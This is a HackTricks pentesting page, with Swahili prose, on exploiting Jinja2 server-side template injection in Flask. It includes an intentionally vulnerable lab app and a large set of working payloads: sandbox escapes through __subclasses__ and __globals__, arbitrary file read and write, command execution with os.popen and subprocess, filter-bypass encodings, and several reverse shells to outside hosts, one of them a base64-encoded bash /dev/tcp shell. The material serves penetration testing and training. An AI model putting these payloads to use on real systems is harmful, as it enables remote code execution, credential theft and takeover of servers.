hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

13 KiB

Jinja2 SSTI

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Misc

Taarifa za Kurekebisha Hitilafu

Ikiwa Kifaa cha Kurekebisha Hitilafu kimeanzishwa, lebo ya debug itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumika kwenye kigezo bila kuweka kurekebisha hitilafu.

<pre>

{% raw %}
{% debug %}
{% endraw %}



</pre>

Mwaga pembejeo zote za usanidi

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Uingizaji wa Jinja

Kwanza kabisa, katika uingizaji wa Jinja unahitaji kupata njia ya kutoroka kutoka kwa sanduku la mchanga na kupata upya ufikiaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji kutumia vitu ambavyo vinatoka kwa mazingira yasiyo na sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga.

Kupata Vitu vya Kitaifa

Kwa mfano, katika nambari render_template("hello.html", username=username, email=email) vitu username na email vinatoka kwa mazingira ya python yasiyo na sanduku na vitapatikana ndani ya mazingira ya sanduku.
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa vinapatikana daima kutoka kwa mazingira ya sanduku, hivi ni:

[]
''
()
dict
config
request

Kurejesha <class 'object'>

Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: <class 'object'> ili kujaribu kurejesha darasa zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengele hiki tunaweza kuita njia ya __subclasses__ na kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku.

Ili kufikia darasa la kipengele hicho, unahitaji kufikia kipengele cha darasa na kisha ufikie __base__, __mro__()[-1] au .mro()[-1]. Na kisha, baada ya kufikia darasa hili la kipengele tunaita __subclasses__().

Angalia mifano hii:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}


# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Kutoroka RCE

Baada ya kupata <class 'object'> na kuita __subclasses__ sasa tunaweza kutumia darasa hizo kusoma na kuandika faili na kutekeleza nambari.

Wito kwa __subclasses__ umetupa fursa ya kupata mamia ya kazi mpya, tutafurahi tu kwa kupata darasa la faili ili kusoma/kuandika faili au darasa lolote lenye ufikiaji wa darasa linalo ruhusu kutekeleza amri (kama vile os).

Soma/Andika faili za mbali

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Ukurasa wa Kudhibiti Kijijini (RCE)

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}

## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Kujifunza kuhusu madarasa zaidi unayoweza kutumia kwa kutoroka unaweza kuangalia:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Kupitisha vikwazo

Kupitisha kawaida

Hizi kupitisha zitaruhusu upatikanaji wa sifa za vitu bila kutumia baadhi ya herufi.
Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya awali, lakini hebu tuzikusanye hapa:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

Kuepuka uwekaji wa HTML

Kwa chaguo-msingi, Flask huchakata HTML yote ndani ya kiolesura kwa sababu za usalama:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Filteri ya safe inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa bila kuwa imefanyiwa encoding ya HTML, kama hivi:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE kwa kuandika faili ya usanidi mbaya.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Bila wahusika kadhaa

Bila {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

Uingizaji wa Jinja bila <class 'object'>

Kutoka kwa vitu vya kimataifa kuna njia nyingine ya kufikia RCE bila kutumia darasa hilo.
Ikiwa utafanikiwa kufikia kazi yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia __globals__.__builtins__ na kutoka hapo RCE ni rahisi sana.

Unaweza kupata kazi kutoka kwa vitu ombi, mpangilio na vitu vingine vya kimataifa vinavyovutia unavyo ufikiaji navyo kwa:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: